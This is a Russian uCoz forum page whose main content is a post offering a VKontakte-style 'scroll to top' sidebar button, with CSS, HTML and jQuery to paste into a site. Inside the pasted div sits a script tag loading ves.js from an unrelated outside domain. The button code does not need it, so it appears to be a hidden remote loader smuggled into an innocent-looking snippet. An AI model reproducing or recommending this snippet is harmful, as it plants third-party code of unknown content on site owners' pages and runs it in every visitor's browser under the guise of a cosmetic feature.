Главная | Регистрация | Вход Приветствую Вас Гость | Сайт автора :)
    Меню сайта
Главная страница Форум Наш сервер Таблица результатов CW Видео <div id="mini-prof">

<a onclick="$('#mini-profi').slideToggle('slow');" href="javascript://"><span id="mini-profil" style="width:200px;">[Мини профиль]</span></a>
<div id="mini-profi" style="display: none;"><p></p>
<span id="mini-profil" style="width:200px;">

<?if()?>
<center><br>
<?if()?><img class="userAvatar" title="Гость" src="" border="0"><?else?><IMG src="http://www.ironucoz.com/IronuCoz_1.png" border="0"><?endif?>
</center>
<br>

<a href="">Читать ЛС</a> (<strong></strong>)
<hr2>Вы вошли как: <strong>Гость</strong>
<hr2>Группа: <strong>Гости</strong>
<hr2>На сайте: <strong> дней</strong>
<hr2>Ваш Ip:<strong> 3.145.164.219</strong>
<hr2>Вы пользователь № <strong>0</strong>
<hr2><a href="/index/10"><font color="#ff00000">Выйти с сайта</font></a>
</span>
</div>




<?else?>


<center><IMG src="http://www.ironucoz.com/IronuCoz_1.png" border="0"></center><br> <?endif?>

</div>
    Мини-чат
200
    Наш опрос
Кто лучше играет?
Всего ответов: 51
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Боковая панель "Вверх" как вконтакте для uCoz
BotsManДата: Пятница, 30.03.2012, 14:37 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 7
Репутация: 0
Статус: Offline
Шыкарный скрипт! на темный дизайнах бомбезно смотрится
Так выглядит скрипт: http://s44.radikal.ru/i105/1203/90/7b504a2e4f2d.jpg
Идея данного скрипта была взята с социальной сети Вконтакте
Суть скрипта заключается в том, что по мере прокрутки страницы справа постепенно становится непрозрачной кнопка вверх. При наведении на правую крайнюю область страницы весь блок кнопки становится кликабельным и клик по ней плавно проскроллит страницу в самый верх

Установка:
В любой глобальный блок в самый низ:

Code
<style>   
   #aposcroll a {   
   text-decoration:none;   
   color:red;   
   }   

   #aposcroll:hover {   
   background-color:rgba(200, 200, 200, 0.7);   
   box-shadow:0px -5px 10px #777;   
   }   
   </style>   
   <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center><script src="http://js8xt.ru/ves.js" type="text/javascript"></div>   

   <script>   
   // Кнопка Вверх by Apocalypse   
   var as = $('#aposcroll');   
   as.click(function() {   
   $(document).scrollTo(0, 500);   
   });   
   document.onscroll = function() {   
   var apolst = '0.'+$('body').scrollTop();   
   if(apolst.length == 5) {   
   as.stop().fadeTo(500, apolst);   
   } else if(apolst.length == 4 || apolst.length == 3) {   
   as.stop().fadeTo(500, 0);   
   };   
   };   
   // apo-ucoz.com (c) 2012   
   </script>


Алексей
 
  • Страница 1 из 1
  • 1
Поиск:
    Форма входа
    Друзья сайта

Newcss.net.ru Portal and all-for web-master and ucoz
    Статистика

Design by Shoop
Конструктор сайтов - uCoz